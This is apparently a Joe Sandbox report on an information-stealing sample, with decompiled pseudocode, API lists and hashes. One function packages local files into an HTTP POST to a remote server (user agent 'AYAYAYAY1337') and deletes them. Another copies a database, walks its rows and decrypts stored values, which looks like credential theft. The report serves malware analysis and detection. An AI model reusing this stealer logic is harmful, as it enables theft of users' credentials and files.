LocalFree.KERNEL32(?), ref: 00402B8A
LocalFree.KERNELBASE(?), ref: 00402B96
LocalFree.KERNEL32(?), ref: 00402B9F
LocalFree.KERNELBASE(?), ref: 00402BA8
LocalFree.KERNEL32(00000000), ref: 00402BB1
LocalFree.KERNEL32(?), ref: 00402BB8
LocalFree.KERNEL32(00000000), ref: 00402BC5
LocalFree.KERNEL32(00000000), ref: 00402BD3
LocalFree.KERNEL32(00000000), ref: 00402BEA
LocalFree.KERNEL32(?), ref: 00402BF1
LocalFree.KERNEL32(?), ref: 00402BFA
LocalFree.KERNEL32(?), ref: 00402C04

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$Path$Slow$Local$Alloc$Free$lstrlen$ByteCharCombineFileFindFirstMultiWide$Globalwsprintf
String ID:
API String ID: 1658662196-0
Opcode ID: 653e1a43270f858d5fd1a66c66d8c41dbf02af57331b9edba5c8d163bc7810d9
Instruction ID: ca318dd986e7c2adcba738856790b8302671d805dd6a29eef7d5305a9168d819
Opcode Fuzzy Hash: 653e1a43270f858d5fd1a66c66d8c41dbf02af57331b9edba5c8d163bc7810d9
Instruction Fuzzy Hash: CB623071E00218AFCF14DFA0DD49AAEBBB5BF48305F108569F905B7294DB785E428F68

Uniqueness

Uniqueness Score: -1.00%

Function 004133D0 Relevance: 98.4, APIs: 53, Strings: 3, Instructions: 441
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E004133D0(WCHAR* __ecx, CHAR* __edx, signed int _a4, intOrPtr* _a8, void* _a12, intOrPtr _a16, WCHAR* _a20, LPCWSTR* _a24) {
				void* _v8;
				void* _v12;
				int _v16;
				CHAR* _v20;
				WCHAR* _v24;
				void* _v28;
				long _v32;
				long _v36;
				long _v40;
				void _v44;
				void _v48;
				WCHAR* _v52;
				void* _t93;
				void* _t96;
				WCHAR* _t98;
				signed int _t99;
				signed int _t100;
				short* _t104;
				void* _t106;
				void* _t107;
				int _t108;
				void* _t111;
				CHAR* _t112;
				CHAR* _t114;
				void* _t118;
				void* _t145;
				void* _t147;
				void* _t151;
				void* _t154;
				void* _t155;
				long _t157;
				void* _t158;
				CHAR* _t159;
				CHAR* _t161;
				CHAR* _t162;
				CHAR* _t165;
				CHAR* _t166;
				CHAR* _t167;
				CHAR* _t168;
				CHAR* _t169;
				int _t170;
				void* _t171;
				void* _t177;
				void* _t180;
				void* _t181;
				void* _t186;
				WCHAR* _t187;
				WCHAR* _t188;
				WCHAR* _t189;
				WCHAR* _t192;
				WCHAR* _t193;
				WCHAR* _t194;
				WCHAR* _t195;
				WCHAR* _t197;
				void* _t200;
				WCHAR* _t201;
				signed int _t202;
				void* _t204;
				void* _t205;
				void* _t206;
				int _t208;
				void* _t209;
				void* _t210;
				void** _t212;
				short* _t213;
				signed int _t215;
				void* _t255;
				CHAR* _t256;
				CHAR* _t257;
				CHAR* _t259;
				void* _t260;
				CHAR* _t262;
				CHAR* _t263;
				CHAR* _t265;
				CHAR* _t266;
				CHAR* _t269;
				CHAR* _t270;
				CHAR* _t271;
				CHAR* _t272;
				WCHAR* _t273;
				WCHAR* _t275;
				WCHAR* _t276;
				WCHAR* _t279;
				WCHAR* _t280;
				WCHAR* _t281;
				WCHAR* _t282;
				WCHAR* _t284;
				void* _t285;
				void* _t286;
				intOrPtr* _t287;
				WCHAR* _t288;
				signed short* _t289;
				void* _t290;
				void* _t291;
				void* _t296;

				_v20 = __edx;
				_t288 = __ecx; // executed
				_t93 = LocalAlloc(0x40, 0xc350); // executed
				_t285 = _t93;
				_v28 = _t285;
				_t201 = LocalAlloc(0x40, 0x208);
				_v24 = _t201;
				if( *_t288 != 0x68) {
					L14:
					return 0;
				}
				_t96 = 0x74;
				if(_t288[1] != _t96 || _t288[2] != _t96 || _t288[3] != 0x70) {
					goto L14;
				} else {
					_t7 =  &(_t288[4]); // 0x42001415
					_v32 =  *_t7 & 0x0000ffff;
					_t98 = StrStrW(_t288,  *0x4234c4);
					_v16 = 0x2f;
					_t255 = 0;
					_t10 =  &(_t98[3]); // 0x6
					_t289 = _t10;
					_t99 =  *_t289 & 0x0000ffff;
					_t215 = _t99;
					if(_t99 == _v16) {
						L7:
						_t100 = lstrlenW(_t201);
						_t202 = _a4;
						_v52 =  &(_t289[_t100]);
						_t104 = LocalAlloc(0x40, _t202 << 0x15); // executed
						_v8 = _t104;
						_t304 = _t202;
						if(_t202 <= 0) {
							L11:
							_v16 = WideCharToMultiByte(0xfde9, 0, _t104, 0xffffffff, 0, 0, 0, 0);
							_t106 = LocalAlloc(0x40, _t202 << 0x14); // executed
							_t204 = _t106;
							_t107 = LocalAlloc(0x40, _a12 + _a4 << 0x14); // executed
							_v12 = _t107;
							_t290 = _t107;
							_t108 = _v16;
							if(_t108 == 0) {
								L19:
								LocalFree(_v8);
								LocalFree(_t204); // executed
								__eflags = _a12;
								if(_a12 <= 0) {
									L32:
									_t111 = LocalAlloc(0x40, 0x100);
									_t256 =  *0x4234b4; // 0x513c3a0
									_t112 = E0041B451(_t111, _t256);
									_t257 =  *0x42352c; // 0x513c420
									_t114 = E0041B451(E0041B451(_t112, _t257), _v20);
									_t259 =  *0x42352c; // 0x513c420
									_t205 = E0041B451(_t114, _t259);
									_t118 =  *0x423008(_t290, _t205, lstrlenA(_t205) + 1);
									__eflags = _t118;
									if(_t118 != 0) {
										_t290 = _t290 + lstrlenA(_t205);
										__eflags = _t290;
									}
									LocalFree(_t205);
									_v44 = 0x7530;
									_v48 = 0x7a120;
									_t206 = InternetOpenW(L"AYAYAYAY1337", 0, 0, 0, 0);
									_v36 = _t206;
									InternetSetOptionW(_t206, 6,  &_v44, 4);
									InternetSetOptionW(_t206, 5,  &_v48, 4);
									__eflags = _t206;
									if(_t206 == 0) {
										L45:
										_t208 = MultiByteToWideChar(0xfde9, 0, _t285, lstrlenA(_t285) + 1, 0, 0);
										_t291 = LocalAlloc(0x40, _t208 + _t208);
										__eflags = _t208;
										if(_t208 != 0) {
											MultiByteToWideChar(0xfde9, 0, _t285, lstrlenA(_t285) + 1, _t291, _t208);
											__eflags = 0;
											 *((short*)(_t291 + _t208 * 2 - 2)) = 0;
										}
										__eflags = _t291;
										if(_t291 != 0) {
											LocalFree(_t291);
										}
										LocalFree(_v24);
										LocalFree(_t285); // executed
										LocalFree(_v12); // executed
										return 1;
									} else {
										_push(1);
										_push(0);
										_push(3);
										_push(0);
										_push(0);
										_push(0x50);
										_t260 = 0x73;
										__eflags = _v32 - _t260;
										_t143 =  ==  ? 0x1bb : 0;
										_t144 = ( ==  ? 0x1bb : 0) & 0x0000ffff;
										_t145 = InternetConnectW(_t206, _v24, ( ==  ? 0x1bb : 0) & 0x0000ffff, ??, ??, ??, ??, ??);
										_v40 = _t145;
										__eflags = _t145;
										if(_t145 == 0) {
											L44:
											InternetCloseHandle(_t206);
											goto L45;
										}
										_push(1);
										_t209 = 0x73;
										__eflags = _v32 - _t209;
										_t226 =  ==  ? 0xc00000 : 0x400000;
										_t147 = HttpOpenRequestW(_t145,  *0x423294, _v52, 0, 0, _a24,  ==  ? 0xc00000 : 0x400000, ??); // executed
										_t210 = _t147;
										__eflags = _t210;
										if(_t210 == 0) {
											L43:
											InternetCloseHandle(_v40);
											_t206 = _v36;
											goto L44;
										}
										_t151 = HttpSendRequestW(_t210, _a20, lstrlenW(_a20), _v12, _t290 - _v12);
										__eflags = _t151;
										if(_t151 == 0) {
											L42:
											InternetCloseHandle(_t210); // executed
											goto L43;
										}
										while(1) {
											_t154 = InternetReadFile(_t210, _t285, 0xc350,  &_v32);
											__eflags = _t154;
											if(_t154 == 0) {
												goto L42;
											}
											_t155 = _v32;
											__eflags = _t155;
											if(_t155 == 0) {
												goto L42;
											}
											 *((char*)(_t155 + _t285)) = 0;
										}
										goto L42;
									}
								}
								_t286 = _a12;
								_t212 = _a16 + 4;
								__eflags = _t212;
								do {
									_t157 = GetFileSize( *_t212, 0);
									_v36 = _t157;
									_t49 = _t157 + 0x400; // 0x400
									_t158 = LocalAlloc(0x40, _t49);
									_t262 =  *0x4234b4; // 0x513c3a0
									_t159 = E0041B451(_t158, _t262);
									_t263 =  *0x42352c; // 0x513c420
									_t161 = E0041B451(E0041B451(_t159, _t263), _v20);
									_t265 =  *0x4234b4; // 0x513c3a0
									_t162 = E0041B451(_t161, _t265);
									_t266 =  *0x423534; // 0x5133240
									_t165 = E0041B451(E0041B451(E0041B451(_t162, _t266),  *(_t212 - 4)), 0x4226c4);
									_t269 =  *0x4234b4; // 0x513c3a0
									_t166 = E0041B451(_t165, _t269);
									_t270 =  *0x4234c8; // 0x512ea28
									_t167 = E0041B451(_t166, _t270);
									_t271 =  *0x4234b4; // 0x513c3a0
									_t168 = E0041B451(_t167, _t271);
									_t272 =  *0x4234b4; // 0x513c3a0
									_t169 = E0041B451(_t168, _t272);
									_v16 = _t169;
									_t170 = lstrlenA(_t169);
									_v8 = _t170;
									_t54 = _t170 + 1; // 0x1
									_t171 =  *0x423008(_t290, _v16, _t54);
									__eflags = _t171;
									if(_t171 != 0) {
										_t290 = _t290 + _v8;
										__eflags =  *_t212;
										if( *_t212 != 0) {
											_t177 = ReadFile( *_t212, _t290, _v36,  &_v40, 0);
											__eflags = _t177;
											if(_t177 != 0) {
												_t290 = _t290 + _v40;
												__eflags = _t290;
											}
											CloseHandle( *_t212);
										}
									}
									__eflags =  *(_t212 - 4);
									if( *(_t212 - 4) != 0) {
										LocalFree( *(_t212 - 4));
									}
									__eflags = _t212[1];
									if(_t212[1] != 0) {
										DeleteFileW(_t212[1]);
										LocalFree(_t212[1]);
									}
									LocalFree(_v16);
									_t212 =  &(_t212[4]);
									_t286 = _t286 - 1;
									__eflags = _t286;
								} while (_t286 != 0);
								_t285 = _v28;
								goto L32;
							}
							if(WideCharToMultiByte(0xfde9, 0, _v8, 0xffffffff, _t204, _t108, 0, 0) != 0) {
								_t180 = lstrlenA(_t204);
								__eflags = _t180;
								if(_t180 > 0) {
									_t181 =  *0x423008(_v12, _t204, _v16);
									__eflags = _t181;
									if(_t181 != 0) {
										_t290 = _v16 - 1 + _v12;
										__eflags = _t290;
									}
								}
								goto L19;
							}
							LocalFree(_v8);
							LocalFree(_t285);
							LocalFree(_t204);
							LocalFree(_v24);
							goto L14;
						} else {
							_t287 = _a8;
							_v16 = _t202;
							_t213 = _t104;
							do {
								_t186 = E0041A6A3(_v20);
								_t273 =  *0x4234d4; // 0x513bbf8
								_t296 = _t186; // executed
								_t187 = E0041AD76(_t213, _t273, _t304); // executed
								_t188 = E0041AD76(_t187, _t296, _t304);
								_t275 =  *0x423400; // 0x513bcb8
								_t189 = E0041AD76(_t188, _t275, _t304);
								_t276 =  *0x4233ec; // 0x51204a0
								_t192 = E0041AD76(E0041AD76(E0041AD76(_t189, _t276, _t304),  *_t287, _t304), 0x4226c0, _t304);
								_t279 =  *0x423400; // 0x513bcb8
								_t193 = E0041AD76(_t192, _t279, _t304);
								_t280 =  *0x423410; // 0x51241d8
								_t194 = E0041AD76(_t193, _t280, _t304);
								_t281 =  *0x423400; // 0x513bcb8
								_t195 = E0041AD76(_t194, _t281, _t304);
								_t282 =  *0x423400; // 0x513bcb8
								_t197 = E0041AD76(E0041AD76(_t195, _t282, _t304),  *((intOrPtr*)(_t287 + 4)), _t304);
								_t284 =  *0x423400; // 0x513bcb8
								_t213 = E0041AD76(_t197, _t284, _t304);
								LocalFree(_t296);
								_t25 =  &_v16;
								 *_t25 = _v16 - 1;
								_t287 = _t287 + 0xc;
							} while ( *_t25 != 0);
							_t285 = _v28;
							_v8 = _t213;
							_t202 = _a4;
							_t104 = _v8;
							goto L11;
						}
					} else {
						_t200 = 0;
						do {
							_t255 = _t255 + 1;
							 *(_t200 + _t201) = _t215;
							_t200 = _t255 + _t255;
							_t215 =  *(_t200 + _t289) & 0x0000ffff;
						} while (_t215 != _v16);
						goto L7;
					}
				}
			}

0x004133e0
0x004133e3
0x004133e5
0x004133f0
0x004133f4
0x00413401
0x00413403
0x00413406
0x004135d9
0x00000000
0x004135d9
0x0041340e
0x00413413
0x00000000
0x0041342e
0x00413434
0x00413439
0x0041343c
0x00413442
0x00413449
0x0041344b
0x0041344b
0x0041344e
0x00413451
0x00413457
0x0041346d
0x0041346e
0x00413474
0x0041347a
0x00413485
0x0041348b
0x0041348e
0x00413490
0x0041355a
0x00413575
0x00413578
0x00413581
0x0041358c
0x00413592
0x00413595
0x00413597
0x0041359c
0x00413603
0x00413606
0x0041360d
0x00413613
0x00413617
0x00413751
0x00413758
0x0041375e
0x00413766
0x0041376b
0x0041377d
0x00413782
0x0041378f
0x0041379c
0x004137a2
0x004137a4
0x004137ad
0x004137ad
0x004137ad
0x004137b0
0x004137b8
0x004137c8
0x004137d5
0x004137e0
0x004137e3
0x004137f2
0x004137f8
0x004137fa
0x004138c4
0x004138de
0x004138ec
0x004138ee
0x004138f0
0x00413905
0x0041390b
0x0041390d
0x0041390d
0x00413912
0x00413914
0x00413917
0x00413917
0x00413920
0x00413927
0x00413930
0x00000000
0x00413800
0x00413800
0x00413809
0x0041380a
0x0041380c
0x0041380d
0x0041380e
0x00413813
0x00413814
0x00413818
0x0041381b
0x00413823
0x00413829
0x0041382c
0x0041382e
0x004138bd
0x004138be
0x00000000
0x004138be
0x00413834
0x00413838
0x00413839
0x00413847
0x0041385c
0x00413862
0x00413864
0x00413866
0x004138b1
0x004138b4
0x004138ba
0x00000000
0x004138ba
0x0041387d
0x00413883
0x00413885
0x004138aa
0x004138ab
0x00000000
0x004138ab
0x00413899
0x004138a0
0x004138a6
0x004138a8
0x00000000
0x00000000
0x0041388e
0x00413891
0x00413893
0x00000000
0x00000000
0x00413895
0x00413895
0x00000000
0x00413899
0x004137fa
0x00413620
0x00413623
0x00413623
0x00413626
0x0041362a
0x00413630
0x00413633
0x0041363c
0x00413642
0x0041364a
0x0041364f
0x00413661
0x00413666
0x0041366e
0x00413673
0x00413691
0x00413696
0x0041369e
0x004136a3
0x004136ab
0x004136b0
0x004136b8
0x004136bd
0x004136c5
0x004136cb
0x004136ce
0x004136d4
0x004136d7
0x004136df
0x004136e5
0x004136e7
0x004136e9
0x004136ec
0x004136ef
0x004136fd
0x00413703
0x00413705
0x00413707
0x00413707
0x00413707
0x0041370c
0x0041370c
0x004136ef
0x00413712
0x00413716
0x0041371b
0x0041371b
0x00413721
0x00413725
0x0041372a
0x00413733
0x00413733
0x0041373c
0x00413742
0x00413745
0x00413745
0x00413745
0x0041374e
0x00000000
0x0041374e
0x004135b7
0x004135e1
0x004135e7
0x004135e9
0x004135f2
0x004135f8
0x004135fa
0x00413600
0x00413600
0x00413600
0x004135fa
0x00000000
0x004135e9
0x004135bc
0x004135c3
0x004135ca
0x004135d3
0x00000000
0x00413496
0x00413496
0x00413499
0x0041349c
0x0041349e
0x004134a1
0x004134a6
0x004134ae
0x004134b0
0x004134b9
0x004134be
0x004134c6
0x004134cb
0x004134e8
0x004134ed
0x004134f5
0x004134fa
0x00413502
0x00413507
0x0041350f
0x00413514
0x00413526
0x0041352b
0x00413539
0x0041353b
0x00413541
0x00413541
0x00413545
0x00413545
0x0041354e
0x00413551
0x00413554
0x00413557
0x00000000
0x00413557
0x00413459
0x00413459
0x0041345b
0x0041345b
0x0041345c
0x00413460
0x00413463
0x00413467
0x00000000
0x0041345b
0x00413457

APIs

LocalAlloc.KERNELBASE(00000040,0000C350,?,00000000,00000001,?,?,?,?,?,0041550A,00000001,?,00000000,00000000,?), ref: 004133E5
LocalAlloc.KERNEL32(00000040,00000208,?,?,?,?,?,0041550A,00000001,?,00000000,00000000,?,?), ref: 004133F7
StrStrW.SHLWAPI(004101AD,?,?,?,?,?,0041550A,00000001,?,00000000,00000000,?,?), ref: 0041343C
lstrlenW.KERNEL32(00000000,?,?,?,?,?,0041550A,00000001,?,00000000), ref: 0041346E
LocalAlloc.KERNELBASE(00000040,?,?,?,?,?,?,0041550A,00000001,?,00000000), ref: 00413485
LocalFree.KERNEL32(00000000,?,?,?,?,?,0041550A,00000001,?,00000000), ref: 0041353B
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,?,0041550A,00000001,?), ref: 00413569
LocalAlloc.KERNELBASE(00000040,?,?,?,?,?,?,0041550A,00000001,?,00000000), ref: 00413578
LocalAlloc.KERNELBASE(00000040,00000000,?,?,?,?,?,0041550A,00000001,?,00000000), ref: 0041358C
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,0000002F,00000000,00000000,?,?,?,?,?,0041550A,00000001,?), ref: 004135AF
LocalFree.KERNEL32(?,?,?,?,?,?,0041550A,00000001,?,00000000), ref: 004135BC
LocalFree.KERNEL32(00000000,?,?,?,?,?,0041550A,00000001,?,00000000), ref: 004135C3
LocalFree.KERNEL32(00000000,?,?,?,?,?,0041550A,00000001,?,00000000), ref: 004135CA
LocalFree.KERNEL32(?,?,?,?,?,?,0041550A,00000001,?,00000000), ref: 004135D3
lstrlenA.KERNEL32(00000000,?,?,?,?,?,0041550A,00000001,?,00000000), ref: 004135E1
lstrcpyn.KERNEL32(?,00000000,0000002F,?,?,?,?,?,0041550A,00000001,?,00000000), ref: 004135F2
LocalFree.KERNEL32(?,?,?,?,?,?,0041550A,00000001,?,00000000), ref: 00413606
LocalFree.KERNELBASE(00000000,?,?,?,?,?,0041550A,00000001,?,00000000), ref: 0041360D
GetFileSize.KERNEL32(?,00000000,?,?,?,?,?,0041550A,00000001,?), ref: 0041362A
LocalAlloc.KERNEL32(00000040,00000400,?,?,?,?,?,0041550A,00000001,?), ref: 0041363C
lstrlenA.KERNEL32(00000000,?,?,?,?,?,0041550A,00000001,?), ref: 004136CE
lstrcpyn.KERNEL32(00000000,0000002F,00000001,?,?,?,?,?,0041550A,00000001,?), ref: 004136DF
ReadFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,0041550A,00000001,?), ref: 004136FD
CloseHandle.KERNEL32(?,?,?,?,?,?,0041550A,00000001,?), ref: 0041370C
LocalFree.KERNEL32(00000000,?,?,?,?,?,0041550A,00000001,?), ref: 0041371B
DeleteFileW.KERNEL32(00000000,?,?,?,?,?,0041550A,00000001,?), ref: 0041372A
LocalFree.KERNEL32(00000000,?,?,?,?,?,0041550A,00000001,?), ref: 00413733
LocalFree.KERNEL32(0000002F,?,?,?,?,?,0041550A,00000001,?), ref: 0041373C
LocalAlloc.KERNEL32(00000040,00000100,?,?,?,?,?,0041550A,00000001,?), ref: 00413758
lstrlenA.KERNEL32(00000000,?,?,?,?,?,0041550A,00000001,?), ref: 00413792
lstrcpyn.KERNEL32(00000000,00000000,00000001,?,?,?,?,?,0041550A,00000001,?), ref: 0041379C
lstrlenA.KERNEL32(00000000,?,?,?,?,?,0041550A,00000001,?), ref: 004137A7
LocalFree.KERNEL32(00000000,?,?,?,?,?,0041550A,00000001,?), ref: 004137B0
InternetOpenW.WININET(AYAYAYAY1337,00000000,00000000,00000000,00000000), ref: 004137CF
InternetSetOptionW.WININET(00000000,00000006,00007530,00000004), ref: 004137E3
InternetSetOptionW.WININET(00000000,00000005,0007A120,00000004), ref: 004137F2
InternetConnectW.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000001), ref: 00413823
HttpOpenRequestW.WININET(00000000,?,00000000,00000000,0041550A,00400000,00000001), ref: 0041385C
lstrlenW.KERNEL32(00000001,?,00000000), ref: 00413872
HttpSendRequestW.WININET(00000000,00000001,00000000), ref: 0041387D
InternetReadFile.WININET(00000000,00000000,0000C350,0041550A), ref: 004138A0
InternetCloseHandle.WININET(00000000), ref: 004138AB
InternetCloseHandle.WININET(?), ref: 004138B4
InternetCloseHandle.WININET(00000000), ref: 004138BE
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004138C9
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000001), ref: 004138D8
LocalAlloc.KERNEL32(00000040,00000000), ref: 004138E6
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004138F5
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000001), ref: 00413905
LocalFree.KERNEL32(00000000), ref: 00413917
LocalFree.KERNEL32(?), ref: 00413920
LocalFree.KERNELBASE(00000000), ref: 00413927
LocalFree.KERNELBASE(?), ref: 00413930

Strings

AYAYAYAY1337, xrefs: 004137C3
/, xrefs: 00413442
0u, xrefs: 004137B8

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Local$Free$AllocInternetlstrlen$ByteCharCloseFileHandleMultiWide$lstrcpyn$HttpOpenOptionReadRequest$ConnectDeleteSendSize
String ID: /$0u$AYAYAYAY1337
API String ID: 2871867707-3032549161
Opcode ID: 3cb0e645e53e66b1862b9d04b24d73091297ec09eecb2e3def15924670ea6e48
Instruction ID: d0725358567e6e0a9be9b91c7a559890e081bca6431967f11d2bb87a370df6ca
Opcode Fuzzy Hash: 3cb0e645e53e66b1862b9d04b24d73091297ec09eecb2e3def15924670ea6e48
Instruction Fuzzy Hash: 07F19670B00204AFDB21AFB1DC49AAE77B9FF44706F408479FA0597295DB7C9E418B68

Uniqueness

Uniqueness Score: -1.00%

Function 00402C12 Relevance: 87.9, APIs: 48, Strings: 2, Instructions: 374
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00402C12(intOrPtr* __ecx, WCHAR** __edx, void* __eflags, WCHAR* _a8, WCHAR* _a12, void* _a16) {
				signed int _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				void* _v16;
				WCHAR* _v20;
				WCHAR* _v24;
				signed int _v28;
				void* _v32;
				intOrPtr _v36;
				intOrPtr* _v40;
				void* _v44;
				char _v48;
				void* _v52;
				void* _v56;
				char _v60;
				void* _v64;
				char _v68;
				void* _v72;
				char _v76;
				void* _v80;
				char _v84;
				void* _t103;
				void* _t113;
				int _t131;
				void* _t133;
				WCHAR* _t135;
				void* _t136;
				signed int _t144;
				intOrPtr _t145;
				intOrPtr _t146;
				void* _t147;
				WCHAR* _t148;
				void* _t149;
				void* _t150;
				WCHAR* _t152;
				WCHAR* _t153;
				WCHAR* _t155;
				WCHAR* _t160;
				void* _t163;
				int _t164;
				WCHAR* _t170;
				int _t171;
				void* _t177;
				void* _t186;
				WCHAR** _t189;
				WCHAR* _t190;
				WCHAR* _t191;
				void* _t228;
				void* _t230;
				intOrPtr* _t231;
				void* _t232;
				void* _t233;
				struct HINSTANCE__* _t234;
				WCHAR* _t235;
				signed int _t236;
				signed int _t239;
				intOrPtr* _t240;
				void* _t241;

				_t189 = __edx;
				_v40 = __ecx;
				_t103 = StrCpyW(LocalAlloc(0x40, 0x400), _a12);
				_v8 = _v8 & 0x00000000;
				_t228 = _t103;
				E00401C00(_t228,  &_v8,  &_v48); // executed
				 *_t240 = 0x200;
				_t232 = LocalAlloc(0x40, ??);
				_v44 = _t232;
				E00401D35(_v8,  &_v44, _t228, _v48);
				_v28 = _v28 & 0x00000000;
				_v56 = _t232;
				_v60 = 0x200;
				_t233 = LocalAlloc(0x40, 0x400);
				_v24 = _t233;
				if(_v8 != 0) {
					LocalFree(_v8);
				}
				_t113 =  *0x4230ac( &_v60,  &_v28, 0, 0, 0, 0,  &_v68); // executed
				if(_t113 != 0) {
					_t23 =  &_v24; // 0x4027e9
					_t186 = E00401B8A(_v64, _t23, _v68);
					_t24 =  &_v24; // 0x4027e9
					_t233 =  *_t24;
					if(_t186 != 0) {
						 *_t189 = StrCpyW( *_t189, _t233);
					}
				}
				if(_v28 != 0) {
					LocalFree(_v28);
				}
				if(_v56 != 0) {
					LocalFree(_v56);
				}
				if(_v64 != 0) {
					LocalFree(_v64);
				}
				if(_t233 != 0) {
					LocalFree(_t233);
				}
				if(_t228 != 0) {
					LocalFree(_t228);
				}
				_t31 =  &_a16; // 0x4027e9
				_t234 =  *_t31;
				_t251 = _t234;
				if(_t234 == 0) {
					L52:
					__eflags = 0;
					return 0;
				} else {
					 *0x4235d8 = GetProcAddress(_t234,  *0x4231bc);
					 *0x4235cc = GetProcAddress(_t234,  *0x423210);
					 *0x4235c0 = GetProcAddress(_t234,  *0x4231e0);
					 *0x4235c8 = GetProcAddress(_t234,  *0x423228);
					 *0x4235d0 = GetProcAddress(_t234,  *0x42325c);
					 *0x4235bc = GetProcAddress(_t234,  *0x4231b8);
					 *0x4235c4 = GetProcAddress(_t234,  *0x423248);
					 *0x4235d4 = GetProcAddress(_t234,  *0x4231a8);
					_t235 = LocalAlloc(0x40, 0x208);
					_a16 = LocalAlloc(0x40, 0x208);
					_t230 = PathCombineW(_t235, _a8,  *0x4231e4);
					_t34 =  &_a16; // 0x4027e9
					_v52 = _t230;
					if(E0041C37E(_t230, _t34, _t251) == 0) {
						L54:
						LocalFree(_t230);
						_t100 =  &_a16; // 0x4027e9
						DeleteFileW( *_t100);
						return LocalFree(_a16) | 0xffffffff;
					}
					_t36 =  &_a16; // 0x4027e9
					_t131 = CopyFileW(_t230,  *_t36, 0); // executed
					if(_t131 == 0) {
						goto L54;
					}
					_t37 =  &_v24; // 0x4027e9
					_t38 =  &_a16; // 0x4027e9, executed
					_t133 =  *0x4235cc( *_t38, _t37); // executed
					if(_t133 == 0) {
						__eflags = _v24;
						if(_v24 != 0) {
							_t135 =  *0x4235d8(_v24,  *0x423214, 0xffffffff,  &_v8, 0); // executed
							_t241 = _t240 + 0x14;
							__eflags = _t135;
							if(_t135 == 0) {
								_t136 =  *0x4235d0(_v8);
								__eflags = _t136 - 0x64;
								if(_t136 != 0x64) {
									L48:
									__eflags = _t230;
									if(_t230 != 0) {
										LocalFree(_t230);
									}
									 *0x4235c0(_v8);
									 *0x4235c8(_v24); // executed
									DeleteFileW(_a16); // executed
									__eflags = _a16;
									if(_a16 != 0) {
										LocalFree(_a16);
									}
									goto L52;
								}
								_t231 = _v40;
								do {
									 *0x4235c4(_v8, 0);
									 *0x4235c4(_v8, 1);
									_t144 =  *0x4235c4(_v8, 2);
									_t236 = _t144;
									_t145 =  *0x4235bc(_v8, 0);
									_v40 = _t145;
									_t146 =  *0x4235bc(_v8, 1);
									_t241 = _t241 + 0x28;
									_v36 = _t146;
									__eflags = _t236;
									if(_t236 <= 0) {
										goto L46;
									}
									_t148 =  *0x4235d4(_v8, 2);
									_t55 = _t236 + 0x40; // 0x40
									_t190 = _t148;
									_v32 = _t190;
									_t149 = LocalAlloc(0x40, _t55);
									_t150 =  *0x423050(_t149, _t190);
									_v44 = _t150;
									_v12 =  *_t150;
									_v11 =  *((intOrPtr*)(_t150 + 1));
									_v10 =  *((intOrPtr*)(_t150 + 2));
									_v9 = 0;
									__eflags = _t190;
									if(_t190 == 0) {
										L45:
										LocalFree(_t150);
										goto L46;
									}
									_t152 = LocalAlloc(0x40, 0x2000);
									_t191 = _t152;
									_t153 =  *0x42319c; // 0x512d960
									_v20 = _t153;
									_t155 =  *0x423080( &_v12,  *0x42324c);
									__eflags = _t155;
									if(_t155 != 0) {
										_v80 = _v32;
										_v84 = 0x200;
										_t160 =  *0x4230ac( &_v84, 0, 0, 0, 0, 0,  &_v76);
										__eflags = _t160;
										if(_t160 == 0) {
											L42:
											__eflags = _t191;
											if(_t191 != 0) {
												LocalFree(_t191);
											}
											_t150 = _v44;
											goto L45;
										}
										 *((char*)(_v76 + _v72)) = 0;
										_t163 = E0041A6A3(_v72);
										_v32 = _t163;
										_t164 = wsprintfW(_t191, _v20, _v40, _v36, _t163);
										_t241 = _t241 + 0x14;
										__eflags = _t164 - lstrlenW(_v20);
										if(__eflags >= 0) {
											 *_t231 = E0041AD76( *_t231, _t191, __eflags);
										}
										__eflags = _v72;
										if(_v72 != 0) {
											LocalFree(_v72);
										}
										LocalFree(_v32);
										L41:
										goto L42;
									}
									_v16 = LocalAlloc(0x40, _t236 << 2);
									_t170 = E00401B8A(_v32,  &_v16, _t236);
									__eflags = _t170;
									if(_t170 != 0) {
										_t171 = wsprintfW(_t191, _v20, _v40, _v36, _v16);
										_t241 = _t241 + 0x14;
										__eflags = _t171 - lstrlenW(_v20);
										if(__eflags >= 0) {
											 *_t231 = E0041AD76( *_t231, _t191, __eflags);
										}
									}
									__eflags = _v16;
									if(_v16 == 0) {
										goto L42;
									} else {
										LocalFree(_v16);
										goto L41;
									}
									L46:
									_t147 =  *0x4235d0(_v8);
									__eflags = _t147 - 0x64;
								} while (_t147 == 0x64);
								_t230 = _v52;
								goto L48;
							}
							LocalFree(_t230);
							LocalFree(_a16);
							 *0x4235c8(_v24);
